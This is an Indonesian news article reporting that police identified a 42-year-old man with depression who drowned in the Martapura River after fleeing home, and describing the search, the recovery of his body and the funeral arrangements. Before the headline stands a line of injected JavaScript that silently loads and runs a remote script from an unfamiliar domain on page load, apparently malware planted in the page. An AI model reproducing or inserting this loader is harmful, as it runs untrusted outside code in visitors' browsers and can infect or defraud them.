(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Korban Tenggelam di Sungai Martapura Teridentifikasi Warga Dalam Pagar, Sempat Hendak Dibawa ke RSJ Sambang Lihum

KANALKALIMANTAN.COM, MARTAPURA – Kepolisian Resort Banjar berhasil mengidentifikasi korban tenggelam di Sungai Martapura, Desa Keramat, RT 004, Kecamatan Martapura Timur, Kabupaten Banjar pada Sabtu (15/10/2022) lalu.

Kapolres Banjar AKBP Doni Hadi Santoso, melalui Kasi Humas Iptu Suwarji menyebutkan dari hasil pencocokan ciri-ciri korban bahwa benar korban tenggelam atas nama Gozali.

“Atas dasar hasil pencocokan dari ciri-ciri korban, diantaranya postur tubuh, tanda tato pada lengan sebelah kiri dan adanya luka pada tempurung kaki dan punggung telapak kaki sebelah kiri karena akibat kecelakaan, korban adalah Gozali umur 42 tahun,” ungkap Kapolres Banjar AKBP Doni Hadi Santoso, melalui Kasi Humas Iptu Suwarji, saat dikonfirmasi, Senin (17/10/2022).

Adapun identitas korban adalah almarhum Gozali (42), warga Desa Dalam Pagar, Kecamatan Martapura Timur, diduga tengah mengidap penyakit depresi.

Dari keterangan keluarga korban, Iptu Suwarji menyampaikan bahwa pada hari Sabtu (15/10/2022), keluarga korban meminta surat pengantar ke balai desa Dalam Pagar untuk membawa korban ke RS Sambang Lihum.

Mengetahui hal tersebut, korban nekat meninggalkan rumah karena tahu bahwa dirinya ingin dibawa ke ke RS Sambang Lihum.

“Dari keterangan keluarga korban saudara Abdul Wahab, didapat fakta saat korban mengetahui akan dibawa ke RS Sambang Lihum karena depresi, korban pun melarikan diri dari rumah,” ungkapnya.

Atas kejadian tersebut, korban ditemukan meninggal dunia usai tenggelam selama hampir tiga hari di Sungai Martapura.

Sekitar hampir 3 hari relawan Tim Rescue dan relawan gabungan dari Polsek Martapura Timur, Kabupaten Banjar, Kota Banjarbaru, Kota Banjarmasin, Kabupaten Tapin hingga kabupaten Kandangan dikerahkan untuk melakukan pencarian

Hingga akhirnya Jenazah korban pun ditemukan mengapung di Desa Sungai Rangas Ulu, Kecamatan Martapura Barat Kabupaten Banjar, sekitar pukul 06.00 Wita pagi tadi Senin (17/10/2022).

“Selanjutnya korban dibawa ke RSUD Ratu Zalecha Martapura dengan menggunakan mobil ambulance PMI Kabupaten Banjar,” jelasnya.

Sementara itu hasil visum luar oleh Dokter di RSUD Ratu Zalecha Martapura bersama kepolisian menyatakan tidak menemukan tanda-tanda kekerasan atau penganiayaan atas tubuh korban.

Jenazah korban pun mengalami lebam pada wajah dan pembusukan tubuh lantaran tenggelam hampir tiga hari lamanya.

“Sementara itu untuk barang bukti di tubuh korban hanya ditemukan satu buah celana panjang warna coklat dan satu buah cincin kayu fukah warna cokelat,” pungkasnya.

Saat ini, jenazah korban akan dilakukan pemulasaran, dan selanjutnya akan disholatkan di Masjid Thufatur Rogibin Desa Dalam Pagar Ulu Rt 03.

Setelah itu jenazah korban akan dibawa ke rumah duka dan disemayamkan di Alkah Desa Dalam Pagar Ulu Rt 02 seberang Balai Desa. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie